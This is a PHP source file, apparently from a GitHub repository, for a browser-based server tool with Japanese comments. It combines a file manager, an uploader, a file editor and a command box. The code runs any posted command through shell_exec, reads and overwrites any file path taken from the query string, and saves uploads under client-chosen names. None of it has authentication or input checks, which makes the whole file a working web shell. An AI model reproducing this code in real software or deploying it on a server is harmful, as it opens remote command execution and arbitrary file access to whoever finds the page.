-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.php
82 lines (71 loc) · 2.14 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
// PSA
class Psa {
function __construct() {
// ディレクトリの指定があるときは現在のディレクトリを変更する
if (isset($_GET['cwd'])) {
chdir($_GET['cwd']);
}
// 現在のディレクトリを表示する
$this->cwd = getcwd();
// 実行ボタンのクリックでコマンドを実行する
if (file_exists(__DIR__.'/output.txt')) {
$this->output = file_get_contents(__DIR__.'/output.txt');
unlink(__DIR__.'/output.txt');
}
// リンクのクリックでそのそのファイルの編集を開始する
if (isset($_GET['filename'])) {
$this->filename = $_GET['filename'];
$this->contents = file_get_contents($this->filename);
}
}
}
// アップローダ
class Uploader {
function __construct() {
// アップロードボタンのクリックでファイルをアップロードする
rename($_FILES['file']['tmp_name'], $_FILES['file']['name']);
header('Location: ./?cwd='.$_GET['cwd']);
exit();
}
}
// シェル
class Shell {
function __construct() {
// 実行ボタンのクリックでコマンドを実行する
file_put_contents(__DIR__.'/output.txt', shell_exec($_POST['command'].' 2>&1'));
header('Location: ./?cwd='.$_GET['cwd']);
exit();
}
}
// ファイルマネージャ
class File_manager {
function __construct() {
// 現在のディレクトリに存在するディレクトリ一覧をリンクとして表示する
$this->directories = array_filter(scandir('./'), function($node){ return is_dir($node); });
// 現在のディレクトリに存在するファイル一覧をリンクとして表示する
$this->files = array_filter(scandir('./'), function($node){ return !is_dir($node); });
}
}
// エディタ
class Editor {
function __construct() {
// 保存ボタンのクリックで編集中のファイルを保存する
file_put_contents($_GET['filename'], $_POST['contents']);
exit();
}
}
$psa = new Psa();
if (isset($_FILES['file'])) {
new Uploader();
}
else if (isset($_POST['command'])) {
new Shell();
}
else if (isset($_POST['contents'])) {
new Editor();
}
else {
$file_manager = new File_manager();
}
require_once __DIR__.'/view.php';